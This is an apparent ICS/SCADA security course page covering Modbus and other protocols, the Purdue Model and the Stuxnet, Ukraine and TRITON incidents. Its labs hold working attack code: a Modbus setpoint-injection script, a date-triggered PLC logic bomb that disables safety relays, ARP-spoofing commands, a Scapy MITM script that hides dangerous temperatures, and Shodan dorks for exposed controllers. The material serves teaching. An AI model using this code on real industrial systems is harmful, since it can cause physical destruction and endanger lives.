Skip to content

Week 09 Quiz

Test your understanding of the weekly concepts.

Format: 10 multiple-choice questions. Passing score: 70%. Time: Untimed.

Take Quiz
CSY304 Week 09 Advanced

Week Content

IoT & Embedded Systems Security

Track your progress through this week's content

Opening Framing

Industrial Control Systems (ICS) and SCADA networks are the backbone of critical infrastructure—power grids that light our cities, water treatment that makes our water safe, manufacturing lines that build our products, and transportation systems that move our goods. Unlike IT security, where **Confidentiality** is king, in ICS, **Availability** and **Safety** are paramount.

The Convergence Risk: As Operational Technology (OT) converges with IT (IIoT), air gaps are evaporating. A ransomware infection in the corporate email server can now spread to the factory floor and shut down production. The days of "security by obscurity" are over.

Week Learning Outcomes:
  • Dissect the Modbus/TCP protocol at the byte level.
  • Map an ICS network using the Purdue Model & IEC 62443.
  • Analyze the kill chains of Stuxnet, Ukraine Power Grid, and TRITON.
  • Inject malicious logic into PLC Ladder Logic (Siemens STL).
  • Bypass Air Gaps using side-channel attacks (FM/Ultrasonic).
  • Execute a Man-in-the-Middle attack on Modbus traffic.

1) The Architecture of Control (Purdue Model)

The "Purdue Enterprise Reference Architecture" (PERA) is the bible of ICS segmentation. It defines levels of trust to prevent a hacker in HR (Level 4) from opening a valve in the reactor (Level 0).


[ PURDUE MODEL: DEFENSE IN DEPTH ]

      LEVEL 5: ENTERPRISE (The Internet)
      ----------------------------------
      LEVEL 4: BUSINESS LOGISTICS
               (ERP, Email, HR, Scheduling, Printing)
      ----------------------------------
      [ DMZ - Demilitarized Zone ]
         | Jump Host (Citrix/RDP) |
         | Patch Server           |
         | AV Server              |
      ----------------------------------
      LEVEL 3: OPERATIONS (Site Wide)
               (Historian, Control Center, Domain Controller)
            |
      LEVEL 2: SUPERVISORY (Area Control)
               (HMI, Engineering Workstations, Alarm Server)
            |
      LEVEL 1: CONTROL (Real Time)
               (PLCs, RTUs, Variable Frequency Drives)
            |
      LEVEL 0: PROCESS (Physical)
               (Sensors, Motors, Valves, Actuators)
                    

Deep Dive: The Hierarchy of Trust

Level 0: The Physical Process

Devices: Sensors (Thermocouples, Pressure Transducers), Actuators (Solenoids, Motors).

Risk: These are "dumb" devices. If you send voltage to a valve, it opens. It doesn't ask for a password. They rely entirely on Level 1 for protection.

Level 1: Basic Control (The Brains)

Devices: PLCs (Programmable Logic Controllers), RTUs (Remote Terminal Units), VFDs (Variable Frequency Drives).

Function: They run the "Ladder Logic" loop: Read Input -> Calculate -> Write Output. Cycle time: 10-50ms. Real-time OS (RTOS like VxWorks).

Protocols: Modbus/TCP, Profinet, EtherNet/IP, S7Comm.

Level 2: Supervisory Control (The Eyes)

Devices: HMI (Human Machine Interface) Stations, Alarm Servers.

Function: Allows operators to see the process and intervene (e.g., "Emergency Stop").

Attack Vector: HMIs typically run standard Windows (often outdated XP/7). They are vulnerable to EternalBlue, Phishing, and Screen Lockers (Ransomware).

Level 3: Operations (The Historian)

Devices: Historian Databases (PI System), Domain Controllers, Patch Servers.

Function: Long-term data storage and site-wide orchestration. This is where OT meets IT.

Risk: If the Historian is connected to the Corporate Network (Level 4) for reporting, it becomes a bridge for attackers to pivot down.

IEC 62443 Concept: Zones & Conduits
Modern standards replace "Levels" with "Zones".
Zone: A grouping of assets with similar security requirements (e.g., "Safety Zone").
Conduit: The communication path between zones. You Firewall the CONDUIT, not just the network border.

2) Protocol Deep Dive: The Insecure Legacy

Most ICS protocols were designed in the 1970s/80s where trust was implicit. "If you are valid enough to plug a cable into the switch, you are valid enough to control the plant."

A) Modbus/TCP (Port 502)

Created in 1979 by Modicon. It is the de-facto standard of ICS. It reads and writes "Registers" (16-bit integers) and "Coils" (1-bit booleans).

Byte Offset Field Size Description
0-1 Transaction ID 2 Bytes Random number to match request/response.
2-3 Protocol ID 2 Bytes Always 00 00 for Modbus TCP.
4-5 Length 2 Bytes Number of following bytes.
6 Unit ID 1 Byte Slave Address (1-255). Useful if bridging TCP to Serial.
7 Function Code 1 Byte Action: Read (03), Write Single (06), Write Multiple (16).
8... Data Variable Register Addresses, Values, or Payload.
Python: Raw Socket Modbus Injection

# Building a Modbus Packet by Hand (No Libraries)
import socket
import struct

ip = "192.168.1.50"
port = 502
unit_id = 1             # The ID of the target PLC

# 1. Transaction Identifier (Random)
trans_id = b'\x12\x34'
# 2. Protocol Identifier (0 = Modbus)
proto_id = b'\x00\x00'
# 3. Length (Unit ID + Func Code + Data)
length   = b'\x00\x06' 

# 4. Modbus PDU (Protocol Data Unit)
# Function Code 06 (Write Single Register)
# Register Address 0001 (Setpoint Value)
# Data Value 03E8 (1000 decimal -> High Pressure!)
pdu      = struct.pack('>BHH', unit_id, 6, 1, 1000)

packet = trans_id + proto_id + length + pdu

print(f"Sending Malicious Packet: {packet.hex()}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send(packet)
response = s.recv(1024)
print(f"PLC Responded: {response.hex()}")
                    
The Vulnerability: NO Authentication. NO Encryption. NO Integrity. Anyone who can ping the PLC can control it.

B) Siemens S7Comm (Port 102)

Proprietary protocol used by Siemens S7-300/400/1200/1500 PLCs. Unlike Modbus, it has some "security" layers, but older versions were purely cleartext.

Attack Vector: The S7 protocol allows "Stop CPU", "Start CPU", and "Download Block" commands. Tools like snap7 can be used to stop a factory with 3 lines of Python.

C) DNP3 (Port 20000)

Used in Electric Utilities (Power Grid). It supports timestamps and "unsolicited responses" (Alarms).
Security: Secure DNP3 exists (adding HMAC), but is rarely deployed due to complexity.

D) OPC-UA (Port 4840)

The "modern" replacement. Supports X.509 certificates and encryption.
Common Flaw: Most vendors ship it with "Security Mode: None" by default for easy setup.

3) The Logic Bomb (PLC Attacks)

IT malware (Ransomware) encrypts files. OT malware (Stuxnet) modifies Control Logic.

Ladder Logic Basics

PLCs run "Ladder Logic", a visual programming language resembling electrical schematics.


    [ STOP BUTTON ]     [ TEMP < 100 ]           [ MOTOR COIL ]
    ----|  /  |-------------|  |---------------------( )-------
       (Normally           (Check)                  (Turn On)
        Closed)
                    

Code Injection: The Stuxnet Method

Sophisticated attackers don't just turn things off; they reprogram the controller to fail later. This requires understanding the PLC's bytecode (like STL for Siemens).

Malicious STL Injection

// OB1 (Main Cycle) - This runs every 10ms
CALL "Malware_Block" // Jump to hidden block
...

// "Malware_Block" - The Logic Bomb
L     "System_Time"  // Load current time
L     T#2026-03-01   // Load trigger date
>=D                  // Compare Date
JCN   END            // If not date yet, Jump to END

// Payload: Disable Safeties and Overpressure
A     "Safety_Relay" // Load Safety Status
R     "Safety_Relay" // RESET (Turn Off) Safety
S     "Pump_Speed"   // SET Pump to Max Speed (Force Write)

END:
NOP 0
                    

4) ICS Attack Case Studies: Incident Analysis

Incident A: Stuxnet (2010) - The Rubicon

Target: Natanz Uranium Enrichment Facility, Iran.

Stuxnet is the world's first "Cyber-Physical Weapon". It was designed to destroy centrifuges while hiding the destruction from operators.

The Kill Chain

  1. Delivery: Injected via USB sticks in the parking lot (Targeting Contractor Laptops).
  2. Propagation: Used 4 Zero-Day exploits (LNK vulnerability, Print Spooler, SMB) to move laterally through Windows networks.
  3. Discrimination: It checked for Step 7 software. If not found, it did nothing (dormant).
  4. Payload: It looked for specific Siemens S7-315 PLCs controlling VFDs running at 807Hz - 1210Hz (specific to isotope separation).
  5. Destruction: It varied the frequency to induce mechanical resonance, shattering the centrifuges.
  6. Deception: It recorded 21 seconds of "Normal" sensor data and replayed it in a loop to the HMI. Operators saw green lights while the plant tore itself apart.

Incident B: Ukraine Power Grid (2015) - The Blackout

Target: Kyivoblenergo Distribution Center.

The first confirmed hack to take down a power grid. 230,000 people lost power for 1-6 hours.

The Kill Chain

  1. Access: Spear-phishing emails with malicious Word Macros (BlackEnergy malware).
  2. Recon: Attackers dwelt in the network for 6 months, mapping the SCADA topology.
  3. Attack (The Coordinator):
    • HMI hijack: Attackers used VNC to take over operator mice and manually clicked "Open Breaker".
    • Firmware Kill: They pushed corrupt firmware to the Serial-to-Ethernet gateways (Moxa devices), bricking them. This prevented remote recovery.
    • UPS Kill: They shut down the UPS systems for the control center, blinding the operators in the dark.
    • TDoS: Telephony Denial of Service against the call center to prevent customer reports.

Incident C: TRITON (2017) - The Murder Attempt

Target: Petro Rabigh Refinery, Saudi Arabia.

Significance: First malware to target Safety Instrumented Systems (SIS). The goal was not to stop the plant, but to remove the safety net so a physical explosion could occur.

Technical Detail: Targeted Triconex Safety Controllers using the proprietary TriStation protocol (UDP 1502). It attempted to modify the firmware in memory. A bug in the malware caused a watchdog fault, tripping the plant to safe mode—accidentally saving the facility.

5) Air Gap Bypassing

"But the plant is air-gapped! It's not on the internet."
Reality Check: Air gaps are a myth. Vendors use VPNs. Engineers use USB drives. Maintenance laptops bridge networks.

Technique A: USB Propagation

Infect a USB drive. Wait for an engineer to plug it into the Engineering Workstation for a firmware update or to copy logs.

Technique B: Side Channels (Academic Research)

Research by Ben-Gurion University shows exfiltration is possible via physics:

6) ICS Security Assessment & Tooling

Golden Rule: NEVER scan a production ICS network with `nmap -A` or Nessus. You will likely crash older PLCs due to fragile TCP stacks.

Passive Discovery

Use passive listening tools that sniff the TAP/Mirror port.

Active Discovery (Careful!)

If you must scan, use ICS-specific scripts with conservative timing.


# Basic Modbus Probe (Safe-ish)
nmap -Pn -sT -p 502 --script modbus-discover 192.168.1.10

# Enumerating Siemens PLCs (s7-comm)
nmap -Pn -sT -p 102 --script s7-info 192.168.1.20

# BACnet Discovery (Building Automation)
nmap -sU -p 47808 --script bacnet-info 192.168.1.30

# PLCScan (Python tool for identifying PLCs)
python plcscan.py 192.168.1.0/24
                    

Shodan Intelligence (ICS Dorks)

Finding exposed ICS on the internet.


port:502 "Schneider Electric"    # Modbus PLCs
port:102 "SIMATIC"               # Siemens PLCs
port:44818 "Rockwell Automation" # Ethernet/IP
port:20000 "DNP3"                # Power Grid
screen shot.label:ics            # HMI RDP/VNC Screenshots
                    

7) HMI Attacks: Screens of Death

The Human Machine Interface (HMI) is the weak link. It runs traditional OSs and is susceptible to traditional exploits.

Attack Vector 1: Project File Poisoning. HMI software (e.g., FactoryTalk, WinCC) often trusts project files implicitly. Malformed files can execute code.

Attack Vector 2: Lateral Movement. Attackers dump LSASS memory on the HMI to get cached Domain Admin credentials. From there, they pivot to the Historian (Level 3) and then the Corporate Network (Level 4)—or vice-versa.

Guided Lab: The Meltdown

Objective: Simulate a "Thermal Runaway" event by performing a Man-in-the-Middle (MITM) attack on Modbus traffic.

Scenario: You are on the same subnet as the PLC (192.168.1.50) and the HMI (192.168.1.100). The PLC reports "Reactor Temperature". You want to spoof this value so the HMI sees "Normal" while the reactor melts.

Step 1: ARP Poisoning

We need to force traffic to flow through our attacking machine.

Bash: Arpspoof

# Tell 192.168.1.50 (PLC) that I am .100 (HMI)
$ arpspoof -i eth0 -t 192.168.1.50 192.168.1.100

# Tell 192.168.1.100 (HMI) that I am .50 (PLC)
$ arpspoof -i eth0 -t 192.168.1.100 192.168.1.50

# Enable IP Forwarding so we don't drop the packets
$ echo 1 > /proc/sys/net/ipv4/ip_forward
                    

Step 2: Scapy Modbus Interceptor

We write a Python script using Scapy to sniff port 502 traffic and rewrite the payload on the fly.

Python: mitm_modbus.py

#!/usr/bin/env python3
from scapy.all import *
from scapy.contrib.modbus import ModbusTCP, ModbusPDU03ReadHoldingRegistersResponse
from netfilterqueue import NetfilterQueue
import struct

# CONFIG
TARGET_REG_ADDR = 10    # The register holding Temperature
FAKE_TEMP = 85          # The "Normal" temperature we want to show
REAL_DANGER = 200       # The actual temp is rising!

def process_packet(packet):
    # Convert Netfilter packet to Scapy packet
    scapy_pkt = IP(packet.get_payload())
    
    if scapy_pkt.haslayer(ModbusTCP):
        # We are looking for a RESPONSE from PLC to HMI
        if scapy_pkt[TCP].sport == 502: 
            # Check if it has the Read Registers Response layer
            if scapy_pkt.haslayer(ModbusPDU03ReadHoldingRegistersResponse):
                print("[*] Intercepted Modbus Response!")
                
                # Get the original register values
                # Note: Scapy's Modbus support can be tricky; mostly raw manipulation is reliable
                # Payload format: [TransID][ProtoID][Len][UnitID][FuncCode][ByteCount][RegVal1][RegVal2]...
                
                # Simple Byte Replacement Strategy (Fragile but effective for simple lab)
                # Let's say we see the Danger Value (00 C8 = 200)
                original_payload = bytes(scapy_pkt[TCP].payload)
                
                # We search for the bytes \x00\xC8 (200) and replace with \x00\x55 (85)
                if b'\x00\xC8' in original_payload:
                    print(f"    [+] FOUND DANGER TEMP (200). Supressing to {FAKE_TEMP}...")
                    new_payload = original_payload.replace(b'\x00\xC8', b'\x00\x55')
                    
                    # Update Packet
                    scapy_pkt[TCP].payload = new_payload
                    del scapy_pkt[IP].len
                    del scapy_pkt[IP].chksum
                    del scapy_pkt[TCP].chksum
                    
                    # Set the new payload back to the Netfilter packet
                    packet.set_payload(bytes(scapy_pkt))
                    
    packet.accept()

print("Starting Modbus MITM on Queue 1...")
# Requires iptables rule: iptables -I FORWARD -p tcp --sport 502 -j NFQUEUE --queue-num 1
nfqueue = NetfilterQueue()
nfqueue.bind(1, process_packet)
nfqueue.run()
                    

Result: Real Packet: "Temp 200". Spoofed Packet: "Temp 85". The operator sees clear skies while the facility burns.

XP REWARD: +600 XP (Entropy Agent)

Appendix A: Common ICS Ports

Port Protocol Usage
502/TCP Modbus Universal standard (Schneider, GE, etc)
102/TCP S7Comm Siemens PLCs (Step 7)
20000/TCP DNP3 US Power Grid / Utilities
44818/TCP EtherNet/IP Rockwell Automation / Allen-Bradley
4840/TCP OPC-UA Modern IIoT Interoperability
47808/UDP BACnet Building Automation (HVAC, Access Control)
1911/TCP Niagara Tridium Building Automation (Fox Protocol)
9600/TCP FINS Omron PLCs

Appendix B: ICS Hardening Checklist

Appendix C: Polyglot Code Library

Modbus interaction in different languages.

Node.js (modbus-serial)


const ModbusRTU = require("modbus-serial");
const client = new ModbusRTU();

// Connect to PLC
client.connectTCP("192.168.1.50", { port: 502 })
    .then(async () => {
        console.log("Connected");
        // Write True to Coil 5 (Turn on Pump)
        await client.writeCoil(5, true);
        // Read Register 10 (Temperature)
        const val = await client.readHoldingRegisters(10, 1);
        console.log("Temperature:", val.data[0]);
    })
    .catch(console.error);
                    

Go (modbus)


package main

import (
    "fmt"
    "time"
    "github.com/goburrow/modbus"
)

func main() {
    // TCP Client Handler
    handler := modbus.NewTCPClientHandler("192.168.1.50:502")
    handler.Timeout = 10 * time.Second
    handler.SlaveId = 1
    handler.Connect()
    defer handler.Close()

    client := modbus.NewClient(handler)

    // Read Input Registers (Function 04)
    results, err := client.ReadInputRegisters(10, 1)
    if err != nil {
        panic(err)
    }
    fmt.Printf("Register Value: %x\n", results)
}